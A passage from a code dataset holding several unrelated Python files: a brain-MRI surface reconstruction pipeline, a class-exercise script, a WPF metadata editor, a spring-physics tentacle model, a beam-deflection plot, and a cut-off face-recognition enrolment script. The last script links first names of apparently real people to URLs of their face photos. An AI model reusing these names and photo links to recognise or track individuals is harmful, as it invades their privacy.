'Brain_finalsurfs regression model inference completed.'\n log_msg(msg, lock, logging.INFO)\n else:\n msg = 'Brain_finalsurfs regression model inference failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n\n\ndef create_wm(args, lock=None):\n subj_dir = Path(args.sd) / args.sid\n filled = ants.image_read(str(subj_dir / 'mri' / 'filled.mgz'))\n aseg_presurf = ants.image_read(str(subj_dir / 'mri' / 'aseg.presurf.mgz'))\n filled_np = filled.numpy()\n aseg_presurf_np = aseg_presurf.numpy()\n wm_np = np.ones_like(filled_np)\n wm_np[filled_np == 127] = 255\n wm_np[filled_np == 255] = 255\n wm_np[aseg_presurf_np == 13] = 255\n wm = ants.from_numpy(wm_np, filled.origin, filled.spacing, filled.direction)\n ants.image_write(wm, str(subj_dir / 'mri' / 'wm.mgz'))\n msg = 'The mri/wm.mgz file has been generated.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef create_white_surface(args, lock=None):\n cmd_pool = list()\n if args.pial:\n cmd = f\"recon-all -s {args.sid} -hemi lh -white -no-isrunning\".split()\n cmd_pool.append(cmd)\n cmd = f\"recon-all -s {args.sid} -hemi rh -white -no-isrunning\".split()\n cmd_pool.append(cmd)\n else:\n cmd = f\"mris_make_surfaces -aseg aseg.presurf -white white.preaparc -noaparc -whiteonly -mgz -T1 brain.finalsurfs {args.sid} lh\".split()\n cmd_pool.append(cmd)\n cmd = f\"mris_make_surfaces -aseg aseg.presurf -white white.preaparc -noaparc -whiteonly -mgz -T1 brain.finalsurfs {args.sid} rh\".split()\n cmd_pool.append(cmd)\n\n if args.parallel_scheduling:\n lh_process = subprocess.Popen(cmd_pool[0], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n rh_process = subprocess.Popen(cmd_pool[1], stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n lh_retcode = lh_process.wait()\n rh_retcode = rh_process.wait()\n if lh_retcode != 0 or rh_retcode != 0:\n msg = 'Surface optimization failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n else:\n for cmd in cmd_pool:\n ret = subprocess.run(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.PIPE)\n if ret.returncode != 0:\n msg = 'Surface optimization failed.'\n log_msg(msg, lock, logging.ERROR)\n exit(-1)\n msg = 'Surface optimization completed.'\n log_msg(msg, lock, logging.INFO)\n\n\ndef parallel_scheduling(args):\n lock = Lock()\n # make sure the mri/filled.mgz file has been created\n logging.info('-----------------------Generate mri/filled.mgz file-------------------------------')\n filled_process = None\n if not os.path.exists(subj_dir / 'mri' / 'filled.mgz'):\n filled_process = Process(target=create_filled, args=(args, lock))\n filled_process.start()\n else:\n logging.info('The mri/filled.mgz file already exists, skip this step.')\n\n # make sure the mri/aseg.presurf.mgz file has been created\n logging.info('--------------------Generate mri/aseg.presurf.mgz file----------------------------')\n aseg_presurf_process = None\n if not os.path.exists(subj_dir / 'mri' / 'aseg.presurf.mgz'):\n aseg_presurf_process = Process(target=create_aseg_presurf, args=(args, lock))\n aseg_presurf_process.start()\n else:\n logging.info('The mri/aseg.presurf.mgz file already exists, skip this step.')\n\n if filled_process is not None:\n filled_process.join()\n filled_process.close()\n if aseg_presurf_process is not None:\n aseg_presurf_process.join()\n aseg_presurf_process.close()\n\n # make sure the mri/brainmask.mgz file has been created\n logging.info('---------------------Generate mri/brainmask.mgz file------------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'brainmask.mgz'):\n create_brainmask(args, lock)\n else:\n logging.info('The mri/brainmask.mgz file already exists, skip this step.')\n\n # make sure the mri/wm.mgz file has been created\n logging.info('-------------------------Generate mri/wm.mgz file---------------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'wm.mgz'):\n create_wm(args, lock)\n else:\n logging.info('The mri/wm.mgz file already exists, skip this step.')\n\n logging.info('-------------------Generate mri/?h_levelset.nii.gz file---------------------------')\n create_levelset(args, lock)\n\n # make sure the mri/brain.finalsurfs.mgz file has been created\n logging.info('-------------------Generate mri/brain.finalsurfs.mgz file-------------------------')\n brain_finalsurfs_process = None\n if not os.path.exists(subj_dir / 'mri' / 'brain.finalsurfs.mgz'):\n brain_finalsurfs_process = Process(target=create_brain_finalsurfs, args=(args, lock))\n brain_finalsurfs_process.start()\n else:\n logging.info('The mri/brain.finalsurfs.mgz file already exists, skip this step.')\n\n # create surface\n logging.info('-----------------------------Generate surface-------------------------------------')\n levelset2surf(args, lock)\n\n if brain_finalsurfs_process is not None:\n brain_finalsurfs_process.join()\n brain_finalsurfs_process.close()\n\n # optimizing surface\n logging.info('---------------------------Surface optimization-----------------------------------')\n if args.optimizing_surface:\n create_white_surface(args, lock)\n\n\ndef serial_scheduling(args):\n # make sure the mri/filled.mgz file has been created\n logging.info('-----------------------Generate mri/filled.mgz file-------------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'filled.mgz'):\n create_filled(args)\n else:\n logging.info('The mri/filled.mgz file already exists, skip this step.')\n\n # make sure the mri/aseg.presurf.mgz file has been created\n logging.info('--------------------Generate mri/aseg.presurf.mgz file----------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'aseg.presurf.mgz'):\n create_aseg_presurf(args)\n else:\n logging.info('The mri/aseg.presurf.mgz file already exists, skip this step.')\n\n # make sure the mri/brainmask.mgz file has been created\n logging.info('---------------------Generate mri/brainmask.mgz file------------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'brainmask.mgz'):\n create_brainmask(args)\n else:\n logging.info('The mri/brainmask.mgz file already exists, skip this step.')\n\n # make sure the mri/wm.mgz file has been created\n logging.info('-------------------------Generate mri/wm.mgz file---------------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'wm.mgz'):\n create_wm(args)\n else:\n logging.info('The mri/wm.mgz file already exists, skip this step.')\n\n logging.info('-------------------Generate mri/?h_levelset.nii.gz file---------------------------')\n create_levelset(args)\n\n # make sure the mri/brain.finalsurfs.mgz file has been created\n logging.info('-------------------Generate mri/brain.finalsurfs.mgz file-------------------------')\n if not os.path.exists(subj_dir / 'mri' / 'brain.finalsurfs.mgz'):\n create_brain_finalsurfs(args)\n else:\n logging.info('The mri/brain.finalsurfs.mgz file already exists, skip this step.')\n\n # create surface\n logging.info('------------------------Generate surf/?h.orig file--------------------------------')\n levelset2surf(args)\n\n # optimizing surface\n if args.optimizing_surface:\n logging.info('---------------------------Surface optimization-----------------------------------')\n create_white_surface(args)\n\n\nif __name__ == '__main__':\n args = parse_args()\n set_environ()\n config_logging()\n subj_dir = Path(args.sd) / args.sid\n # make sure the mri/orig.mgz file has been created\n logging.info('------------------------Generate mri/orig.mgz file--------------------------------')\n if not os.path.exists(subj_dir):\n logging.info(\n f'The {args.sid} folder does not exist in SUBJECTS_DIR, use the FreeSurfer recon-all command to generate.')\n sh.recon_all('-s', args.sid, '-i', args.t1, '-motioncor')\n elif not os.path.exists(subj_dir / 'mri' / 'orig.mgz'):\n logging.info(\n f'The {args.sid} folder already exists in SUBJECTS_DIR, but the mri/orig.mgz file does not exist, use the FreeSurfer reconall command to generate.')\n sh.recon_all('-s', args.sid, '-motioncor')\n else:\n logging.info('The mri/orig.mgz file already exists, skip this step.')\n\n if args.parallel_scheduling:\n parallel_scheduling(args)\n else:\n serial_scheduling(args)\n","repo_name":"IndiLab/FastCSR","sub_path":"pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":20084,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"5"} +{"seq_id":"15200179680","text":"from audioop import mul\n\n\nclass cell:\n def __init__(self,param) -> None:\n if param <=0:\n print(\"cell class can't be init with no subcells\")\n self.subcell = int(param)\n def __add__(self, other):\n if type(other) is cell:\n res = self.subcell + other.subcell\n return cell(res)\n else:\n print(\"wrong argument\")\n \n def __sub__(self, other):\n if type(other) is cell:\n res = self.subcell - other.subcell\n if res > 0:\n return cell(res)\n else:\n print(\"result cell can not be created. sub, subcell <=0\")\n else:\n print(\"wrong argument\")\n\n def __mul__(self, other):\n if type(other) is cell:\n res = self.subcell * other.subcell\n return cell(res)\n else:\n print(\"wrong argument\")\n \n def __truediv__(self, other):\n if type(other) is cell:\n res = self.subcell / other.subcell\n if res > 0:\n del other\n del self\n return cell(res)\n else:\n print(\"result cell can not be created. div, subcell <=0\")\n else:\n print(\"wrong argument\")\n def __str__(self) -> str:\n res = '*'\n for i in range (1, self.subcell):\n if i%5 == 0:\n res += \"\\n*\"\n else:\n res+='*'\n return res\n\nc1 = cell(18)\nc2 = cell(16)\nc3 = cell(0.5)\nprint(f\"cell3 has {c3.subcell} subcells\")\n\nprint(\"add\\n\")\nprint((c1+c2).subcell)\nprint(\"sub\\n\")\nprint((c1-c2).subcell)\nprint(\"mul\\n\")\nprint((c1*c2).subcell)\nprint(\"div\\n\")\nprint((c1/c2).subcell)\n\nprint(c1)\n\n ","repo_name":"aurealv20/python_learning","sub_path":"7/7.3.py","file_name":"7.3.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"20239773813","text":"import wpf\n\nimport clr\nclr.AddReference(\"System.Drawing\")\n\nfrom System.Windows import Window\nfrom System import Uri, UriKind\nfrom System.Windows.Media.Imaging import BitmapImage\n\nfrom System.Windows import *\n\nfrom os import path\nfrom os import remove\nfrom traceback import format_exc\n\nclass WindowMetadata(Window):\n def __init__(self, pathName):\n wpf.LoadComponent(self, \"warehouse_manager_metadata.xaml\")\n\n pathName = pathName.ToString()\n \n self.Title = \"Edit Metadata - \" + pathName\n self.textPathName.Text = pathName\n\n self.sPathName = pathName\n if path.exists(\"models\"):\n self.sModelPath = path.join(\"models\", pathName)\n else:\n self.sModelPath = path.join(\"..\", \"models\", pathName)\n self.sAttributes = {}\n self.sName = self.sPathName.split(path.sep)[-1]\n\n self.showPreview()\n self.validateCryEngine()\n\n def showPreview(self):\n filename = None\n for extension in [\"jpg\", \"png\"]:\n filename = path.join(self.sModelPath, \"preview.\" + extension)\n if path.exists(filename):\n break\n\n if filename:\n image = BitmapImage()\n image.BeginInit()\n imageUri = filename\n image.UriSource = Uri(imageUri, UriKind.RelativeOrAbsolute)\n image.EndInit()\n self.imagePreview.Source = image\n else:\n pass\n\n def buttonTagAppend_Click(self, sender, e):\n if self.entryNewTag.Text.ToString():\n self.addTag(self.entryNewTag.Text.ToString())\n self.entryNewTag.Text = \"\"\n def buttonTagRemove_Click(self, sender, e):\n indexOfSelection = self.listTags.SelectedIndex\n self.removeTag()\n if len(self.listTags.Items):\n self.listTags.SelectedIndex = indexOfSelection\n else:\n self.buttonTagRemove.IsEnabled = False\n\n def entryNewTag_GotFocus(self, sender, e):\n self.buttonTagAppend.IsDefault = True\n self.buttonConfirm.IsDefault = False\n def entryNewTag_TextChanged(self, sender, e):\n if self.entryNewTag.Text:\n self.buttonTagAppend.IsEnabled = True\n else:\n self.buttonTagAppend.IsEnabled = False\n\n def entryModelName_TextChanged(self, sender, e):\n if self.entryModelName.Text:\n self.buttonConfirm.IsEnabled = True\n else:\n self.buttonConfirm.IsEnabled = False\n self.buttonConfirm.IsDefault = True\n self.buttonTagAppend.IsDefault = False\n\n def listTags_SelectionChanged(self, sender, e):\n self.buttonTagRemove.IsEnabled = True\n\n def buttonConfirm_Click(self, sender, e):\n file = None\n try:\n file = open(path.join(self.sModelPath, \"meta.txt\"), \"w\")\n\n modelName = self.entryModelName.Text\n\n def parsePathBlocks():\n string = \"\"\n for block in self.sPathName.split(path.sep):\n string += \"%\" + block\n return string\n def parseTags():\n string = \"\"\n for tag in self.listTags.Items:\n string += \"%\" + tag\n return string\n def parseAttributes():\n string = \"\"\n for key in self.sAttributes.keys():\n value = self.sAttributes[key]\n string += \"%\" + key + \"#\" + str(value)\n return string\n\n data = [\n \"%name%\" + modelName + \"\\n\",\n \"%dataname%\" + self.sName + \"\\n\",\n \"%path\" + parsePathBlocks() + \"\\n\",\n \"%tags\" + parseTags() + \"\\n\",\n \"%attributes\" + parseAttributes() + \"\\n\",\n ]\n\n file.writelines(data)\n file.close()\n\n MessageBox.Show(\"Metadata saving successful!\",\n \"Save Successful\", MessageBoxButton.OK,\n MessageBoxImage.Information)\n\n self.Close()\n\n except:\n if file != None:\n file.close()\n MessageBox.Show(\"Metadata saving failed!\\n{}\".format(format_exc()),\n \"Fatal Error\", MessageBoxButton.OK,\n MessageBoxImage.Error)\n if path.exists(path.join(self.sModelPath, \"meta.txt\")):\n remove(path.join(self.sModelPath, \"meta.txt\"))\n\n def validateCryEngine(self):\n name = self.sName\n cryengineBlenderFile = path.join(self.sModelPath, name+\"_cryengine.blend\")\n cryengineCompatible = path.exists(cryengineBlenderFile)\n self.sAttributes[\"cryengine\"] = str(cryengineCompatible)\n if cryengineCompatible:\n self.textCryEngine.Text = \"This model is CryEngine compatible.\"\n\n def addTag(self, newTag):\n if newTag not in self.listTags.Items:\n self.listTags.Items.Add(newTag)\n def removeTag(self):\n self.listTags.Items.Remove(self.listTags.SelectedItem)","repo_name":"schedule-productions/warehouse","sub_path":"warehouse-manager-src/warehouse_manager_metadata.py","file_name":"warehouse_manager_metadata.py","file_ext":"py","file_size_in_byte":4998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7115366032","text":"import math\nimport copy\n\nfrom .. import utils\n\n\nclass Tip:\n default_materials = {\n 'node_tip': {'mass': 1.0, 'friction': 0.5, 'fixed': False},\n 'link_tip': {'stiffness': 500000.0, 'damping_ratio': 1.0, 'actuated': False}}\n\n\n def __init__(self, space, base, height, materials=None):\n self.space, self.base, self._height = space, base, height\n self.materials = materials if materials is not None else self.default_materials\n\n self.nodes, self.links = list(self.base), []\n self.node_map, self.link_map = {'tip': None}, {}\n\n self._build()\n self.muscles = [link for link in self.links if link.actuated]\n self.springs = [link for link in self.links if not link.actuated]\n\n\n def _build(self):\n \"\"\"Create the node and links of the section\"\"\"\n x, y = utils.pos_rel(0, self.height, self.base[0], self.base[-1])\n node = self.space.add_node(x, y, **self.materials['node_tip'])\n self.nodes.append(node)\n self.new_nodes = [node]\n self.node_map['tip'] = node\n\n for i, base_node in enumerate(self.base):\n link = self.space.add_link(base_node, node, **self.materials['link_tip'])\n self.links.append(link)\n self.link_map['tiplink_{}'.format(i)] = link\n\n # Height and width\n @property\n def height(self): return self._height\n\n @height.setter # FIXME\n def height(self, value):\n \"\"\"Change the height of the section. Adjust the diagonal relax length accordingly.\"\"\"\n assert value >= 0\n base_d = utils.distance(self.base[0], self.base[1]) # relax lengths\n for link in self.links:\n half_base = base_d / 2\n link.relax_length = math.sqrt(half_base * half_base + value * value)\n self._height = value\n\n\nclass Section:\n \"\"\"A section of a tentacle.\n\n :param space: the section will be added to this space.\n :param base: a pair of Nodes, to serve as base of the section. Given a base (A, B),\n with A.y == B.y == 0 and A.x < B.x, then the square will be created\n on the positive side of the x-axis.\n :param height: height of the section.\n :param width: width of the section. Can be 0, in which case, the section is a\n triangle, and only one new node is created.\n :param muscle_frequency: the frequency of the muscles links.\n :param muscle_damping: the damping of the muscles links.\n :param spring_frequency: the frequency of the springs links.\n :param spring_damping: the damping of the springs links.\n :param spring_frequency: the frequency of the bones links.\n :param spring_damping: the damping of the bones links.\n :param side_muscles: if True, muscles links will be created on the side of the section.\n Else, they are replaced by passive springs.\n :param internal_muscle: if True, a muscle link is created between the two end nodes of the\n section.\n \"\"\"\n base_size = 2\n default_materials = {\n 'node_section': {'mass': 1.0, 'friction': 0.5, 'fixed': False},\n 'link_sec_diag' : {'stiffness': 100000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_width' : {'stiffness': 12000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_side' : {'stiffness': 3000.0, 'damping_ratio': 1.0, 'actuated': True}}\n\n def __init__(self, space, base, height, width, materials=None):\n self.space, self._base = space, base\n self._height, self._width = height, width\n self.materials = materials if materials is not None else self.default_materials\n\n self.nodes, self.links = [base[0], base[1]], []\n self.new_nodes = []\n self.muscles, self.springs = [], []\n\n self.node_map = {'base_left': base[0], 'base_right': base[-1],\n 'top_left': None, 'top_right': None}\n self.link_map = {} #'left': None, 'right': None, 'width': None,\n #'diag_LR': None, 'diag_RL': None}\n self.link_by_mat = {name: [] for name in self.materials.keys() if name.startswith('link_')}\n\n self._build()\n\n\n ## Read-only properties\n @property\n def base(self): return self._base\n\n @property\n def forward_base(self): return (self.node_map['top_left'], self.node_map['top_right'])\n\n # Height and width\n @property\n def height(self): return self._height\n\n @height.setter\n def height(self, value):\n \"\"\"Change the section's height. Adjust the side and diagonal relax lengths accordingly\"\"\"\n assert value >= 0\n for link in [self.link_map['left'], self.link_map['right']]:\n link.relax_length = value\n self._height = value\n diag_length = self._diag_length()\n self.link_map['diag_LR'].relax_length = diag_length\n self.link_map['diag_RL'].relax_length = diag_length\n\n @property\n def width(self): return self._width\n\n @width.setter\n def width(self, value):\n \"\"\"Change the width of the section. Adjust the side and diagonal relax lengths accordingly\"\"\"\n assert value >= 0\n self.link_map['width'].relax_length = value\n self._width = value\n diag_length = self._diag_length()\n self.link_map['diag_LR'].relax_length = diag_length\n self.link_map['diag_RL'].relax_length = diag_length\n\n def _diag_length(self):\n \"\"\"Natural diagonal length\"\"\"\n base_d = utils.distance(*self.base)\n avg_width = (base_d + self.width) / 2\n half_diff_width = base_d - avg_width\n return math.sqrt(avg_width * avg_width + self.height * self.height - half_diff_width * half_diff_width)\n\n\n # Material changes\n def stiffness(self, material_name):\n \"\"\"Return a material stiffness\"\"\"\n return self.materials[material_name][0]\n\n def damping(self, material_name):\n \"\"\"Return a material damping\"\"\"\n return self.materials[material_name][1]\n\n def actuated(self, material_name):\n \"\"\"Return if a material is actuated\"\"\"\n return self.materials[material_name][2]\n\n def change_stiffness(self, material_name, value):\n assert value >= 0\n for link in self.link_by_mat[material_name]:\n link.stiffness = value\n\n def change_damping(self, material_name, value):\n assert value >= 0\n for link in self.link_by_mat[material_name]:\n link.damping = value\n\n\n # Other\n def relax(self):\n for link in self.muscles:\n link.relax()\n\n def _make_link(self, node_a, node_b, material_name, name=None):\n materials = copy.deepcopy(self.materials[material_name])\n link_type = materials.pop('type', 'link')\n add_link_map = {'link': self.space.add_link}\n if hasattr(self.space, 'add_spring'):\n add_link_map['spring'] = self.space.add_spring\n\n link = add_link_map[link_type](node_a, node_b, **materials)\n\n self.links.append(link)\n self.link_by_mat[material_name].append(link)\n if name is not None:\n assert name not in self.link_map or self.link_map[name] is None\n self.link_map[name] = link\n\n if link.actuated:\n self.muscles.append(link)\n else:\n self.springs.append(link)\n return link\n\n # Creating the section\n def _build(self):\n \"\"\"Create the node and links of the section\"\"\"\n base_d = utils.distance(self.base[0], self.base[-1])\n assert base_d > 0\n y = math.sqrt(self.height ** 2 - ((base_d - self.width) / 2) ** 2)\n #if y <= 0:\n # print('warning: unsafe starting values for section') # FIXME: log.warn, more precise msg.\n y = max(y, 0.01) # avoid zero lock, or built the wrong way.\n\n x_left, y_left = utils.pos_rel(-self.width/2, y, self.base[0], self.base[-1])\n x_right, y_right = utils.pos_rel( self.width/2, y, self.base[0], self.base[-1])\n n_left = self.space.add_node(x_left, y_left, **self.materials['node_section'])\n n_right = self.space.add_node(x_right, y_right, **self.materials['node_section'])\n self.nodes.extend([n_left, n_right])\n self.new_nodes = [n_left, n_right]\n\n self.node_map['top_left'] = n_left\n self.node_map['top_right'] = n_right\n\n # diagonal \"X\" links\n self._make_link(self.base[ 0], n_right, 'link_sec_diag', name='diag_LR')\n self._make_link(self.base[-1], n_left, 'link_sec_diag', name='diag_RL')\n # height (side) links\n self._make_link(self.base[ 0], n_left, 'link_sec_side', name='left')\n self._make_link(self.base[-1], n_right, 'link_sec_side', name='right')\n # width (internal) link\n self._make_link(n_left, n_right, 'link_sec_width', name='width')\n\n\nclass CentralBoneSection(Section):\n\n base_size = 3\n default_materials = {\n 'node_section': {'mass': 1.0, 'friction': 0.5, 'fixed': False},\n 'link_sec_diag' : {'stiffness': 100000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_big_diag': {'stiffness': 50000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_center' : {'stiffness': 50000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_width' : {'stiffness': 12000.0, 'damping_ratio': 1.0, 'actuated': False},\n 'link_sec_side' : {'stiffness': 3000.0, 'damping_ratio': 1.0, 'actuated': True}}\n\n @property\n def forward_base(self):\n return (self.node_map['top_left'],\n self.node_map['top_middle'],\n self.node_map['top_right'])\n\n # Creating the section\n def _build(self):\n \"\"\"Create the node and links of the section\"\"\"\n b_left, b_middle, b_right = self.base\n base_d = utils.distance(b_left, b_right)\n\n # distance to upper\n y = math.sqrt(self.height ** 2 - ((base_d - self.width) / 2) ** 2)\n y = max(y, 0.1) # avoid zero lock, or built the wrong way.\n\n x_left , y_left = utils.pos_rel(-self.width/2, y, self.base[0], self.base[-1])\n x_right , y_right = utils.pos_rel( self.width/2, y, self.base[0], self.base[-1])\n x_middle, y_middle = utils.pos_rel( 0, self.height, self.base[0], self.base[-1])\n\n n_left = self.space.add_node(x_left, y_left, **self.materials['node_section'])\n n_right = self.space.add_node(x_right, y_right, **self.materials['node_section'])\n n_middle = self.space.add_node(x_middle, y_middle, **self.materials['node_section'])\n self.nodes.extend([n_left, n_middle, n_right])\n self.new_nodes = [n_left, n_middle, n_right]\n\n self.node_map['top_left'] = n_left\n self.node_map['top_right'] = n_right\n self.node_map['top_middle'] = n_middle\n\n # diagonal \"X\" links\n self._make_link(self.base[0], n_middle, 'link_sec_diag', name='diag_LM')\n self._make_link(self.base[1], n_left, 'link_sec_diag', name='diag_ML')\n self._make_link(self.base[1], n_right, 'link_sec_diag', name='diag_MR')\n self._make_link(self.base[2], n_middle, 'link_sec_diag', name='diag_RM')\n\n #\n self._make_link(self.base[0], n_right, 'link_sec_big_diag', name='diag_LR')\n self._make_link(self.base[2], n_left, 'link_sec_big_diag', name='diag_RL')\n\n # height (side) links\n self._make_link(self.base[0], n_left, 'link_sec_side', name='left')\n self._make_link(self.base[1], n_middle, 'link_sec_center', name='middle')\n self._make_link(self.base[2], n_right, 'link_sec_side', name='right')\n\n # width (internal) link\n self._make_link(n_left, n_middle, 'link_sec_width', name='widthL')\n self._make_link(n_middle, n_right, 'link_sec_width', name='widthR')\n\n # Height and width # necessary to redefine?\n @property\n def width(self): return self._width\n\n @width.setter\n def width(self, value):\n \"\"\"Change the width of the section. Adjust the side and diagonal relax lengths accordingly\"\"\"\n assert value >= 0\n self.link_map['widthL'].relax_length = value/2\n self.link_map['widthR'].relax_length = value/2\n self._width = value\n small_diag1, small_diag2, big_diag = self._diag_lengths()\n self.link_map['diag_LM'].relax_length = small_diag1\n self.link_map['diag_ML'].relax_length = small_diag2\n self.link_map['diag_RM'].relax_length = small_diag1\n self.link_map['diag_MR'].relax_length = small_diag2\n self.link_map['diag_LR'].relax_length = big_diag\n self.link_map['diag_RL'].relax_length = big_diag\n\n # Height and width\n @property\n def height(self): return self._height\n\n @height.setter\n def height(self, value):\n \"\"\"Change the width of the section. Adjust the side and diagonal relax lengths accordingly\"\"\"\n assert value >= 0\n self.link_map[ 'left'].relax_length = value\n self.link_map['middle'].relax_length = value\n self.link_map[ 'right'].relax_length = value\n self._height = value\n small_diag1, small_diag2, big_diag = self._diag_lengths()\n self.link_map['diag_LM'].relax_length = small_diag1\n self.link_map['diag_ML'].relax_length = small_diag2\n self.link_map['diag_RM'].relax_length = small_diag1\n self.link_map['diag_MR'].relax_length = small_diag2\n self.link_map['diag_LR'].relax_length = big_diag\n self.link_map['diag_RL'].relax_length = big_diag\n\n def _diag_lengths(self):\n \"\"\"Natural diagonal length\"\"\"\n base_d = utils.distance(self.base[0], self.base[-1]) # FINXME: not the relax length!\n avg_width = (base_d + self.width) / 2\n half_diff_width = base_d - avg_width\n big_diag = math.sqrt(avg_width * avg_width + self.height * self.height - half_diff_width * half_diff_width)\n small_diag1 = math.sqrt(base_d * base_d / 4 + self.height * self.height)\n small_diag2 = math.sqrt(self.width * self.width / 4 + self.height * self.height)\n return small_diag1, small_diag2, big_diag\n","repo_name":"benureau/springs","sub_path":"springs/creatures/parts.py","file_name":"parts.py","file_ext":"py","file_size_in_byte":14231,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"25620004968","text":"#%%\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math as m\n\n# Parametres\nalpha = np.arange(-1.5, 1.5, 0.001) #en degrees, conversion apres, axe x\np = 5.1 #hauteur du centre de rotation en mm\nl = 7 #longueur de la tige en mm\nd = 1.5 #diametre de la tige en mm\nE = 210E9 #module de young\n\n# Constantes\n\nhmiroir = 6.4 #hauteur du miroir en mm\n\n# Conversion\n\nalpha = m.pi*alpha/180\np = p/1000\nl = l/1000\nd = d/1000\nhmiroir = hmiroir/1000\n\n# Calcul\n\nI = (m.pi*d**4)/64 #inertie de la tige\nsigma = E*I\nV = (12*sigma/l**3)*((l*np.tan(alpha)/2) + p*np.sin(alpha)) #Force tranchante\nM = (-6*sigma/l**2 * (p*np.sin(alpha) + l*np.tan(alpha)/3))\n\n#racourcissement de la tige\nracTige = (1/(2 * sigma**2) * (( V**2 * l**5)/20 + (V * M * l**4)/4 + (M**2 * l**3)/3) ) \nracLevier = -p*(1 - np.cos(alpha))\ndeltaL = -racTige - racLevier\n\n# deplacement du point d'incidence du faiseau\ndeplFaisceauInc = (hmiroir - p)*(1/np.cos(alpha) - 1)\n\n#Mouvement parasite total\n\nZparasite = deplFaisceauInc + deltaL\n\n\n# Plot\nlimiteSup = [0.5E-6]* alpha.size\nlimiteInf = [-0.5E-6]* alpha.size\nalpha = np.arange(-1.5, 1.5, 0.001) #en degrees, conversion apres, axe x\n\nplt.plot(alpha, deltaL, 'y')\nplt.plot(alpha, deplFaisceauInc, 'g')\nplt.plot(alpha, Zparasite, 'b')\nplt.plot(alpha, limiteSup, 'r--')\nplt.plot(alpha, limiteInf, 'r--')\nplt.legend(['deltaL', 'depl. faisceau incident', 'depl. z parasite total'])\nplt.xlabel(\"Angle d'inclinaison du miroir [°]\")\nplt.ylabel(\"parasitisme deltaL [m]\")\naxes = plt.gca()\naxes.set_ylim([-0.7E-6, 0.7E-6])\nplt.figtext(.3, .9, \"p = %sm\"%(p) )\nplt.figtext(.5, .9, \"l = %sm\"%(l) )\nplt.figtext(.7, .9, \"d = %sm\"%(d) )\nplt.savefig('line_plot.svg') \nplt.show()\n","repo_name":"jsilveira1409/Silex","sub_path":"Parasitisme/ParasitismeHubert.py","file_name":"ParasitismeHubert.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"fr","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"14101406133","text":"import cv2, sys, time, os, uuid, json, random\nimport numpy as np\nimport logging as log\nimport datetime as dt\nfrom blob_store import*\nfrom azure_face_api import *\n\ntime.sleep(60)\n\npersons = [\"amal\", \"matthew\", \"lauren\", \"stella\"]\n\nface_urls = [[\"https://s7.postimg.org/enmb1tuhn/IMG_20180331_152302.jpg\",\n\"https://s7.postimg.org/hvqseclqz/IMG_20180331_152303.jpg\",\n\"https://s7.postimg.org/but3h9rez/IMG_20180331_152304.jpg\",\n\"https://s7.postimg.org/mhmwmq257/IMG_20180331_152305.jpg\"],\n[\"https://s7.postimg.org/uadkep0ej/IMG_20180331_152321.jpg\",\n\"https://s7.postimg.org/sikljtjmj/IMG_20180331_152321_1.jpg\",\n\"https://s7.postimg.org/vcnqxa18b/IMG_20180331_152322.jpg\",\n\"https://s7.postimg.org/3pb1j6nrf/IMG_20180331_152323.jpg\",\n\"https://s7.postimg.org/rgaf1avob/IMG_20180331_152324.jpg\",\n\"https://s7.postimg.org/c7khnj9pn/IMG_20180331_152324_1.jpg\"],\n[\"https://s7.postimg.org/c7khnkk0b/IMG_20180331_152351.jpg\",\n\"https://s7.postimg.org/c7khnkrq3/IMG_20180331_152351_1.jpg\",\n\"https://s7.postimg.org/x4gps8xgr/IMG_20180331_152352.jpg\",\n\"https://s7.postimg.org/asiwyv62j/IMG_20180331_152353.jpg\"],\n[\"https://s7.postimg.org/i8i6kogx7/IMG_20180331_152450.jpg\",\n\"https://s7.postimg.org/svbzq3hcr/IMG_20180331_152451.jpg\",\n\"https://s7.postimg.org/6w5l2vssr/IMG_20180331_152451_1.jpg\",\n\"https://s7.postimg.org/xh83ygibf/IMG_20180331_152452.jpg\",\n\"https://s7.postimg.org/txm68nnbf/IMG_20180331_152453.jpg\"]]\n\nalan_urls = [\"https://preview.ibb.co/f51oaS/download.jpg\",\n\"https://preview.ibb.co/jnUPFS/webcam_toy_photo1.jpg\",\n\"https://preview.ibb.co/f2Bt9n/webcam_toy_photo2.jpg\",\n\"https://preview.ibb.co/gUNN27/webcam_toy_photo3.jpg\"]\n\n\ndef add_faces(group, student_id, face_urls):\n\tpersonId = group.studentIds[student_id]\n\tgroup.add_faces(personId = personId, face_urls = face_urls)\n\ndef add_person(group, student_json):\n\tname = student_json[\"name\"]\n\tstudent_id = student_json[\"student_id\"]\n\tstudent_email = student_json[\"student_email\"]\n\tpersonId = group.add_person( personName = name, studentId = student_id, studentEmail = student_email )\n\treturn personId\n\n#create group object\ncsclub_group = personGroup()\n\n#add alan faces to already existing person\nalan_student_id = \"79616\"\nadd_faces(csclub_group, alan_student_id, alan_urls)\n\n#add persons and their faces\nfor i in range(len(persons)):\n\tprint(\"Adding {}\".format(persons[i]))\n\n\tperson_json = {\"name\":persons[i], \"student_id\": \"\".join([str(random.randint(0,9)) for i in range(7)]), \"student_email\": \"\"}\n\tperson_json[\"student_email\"] = 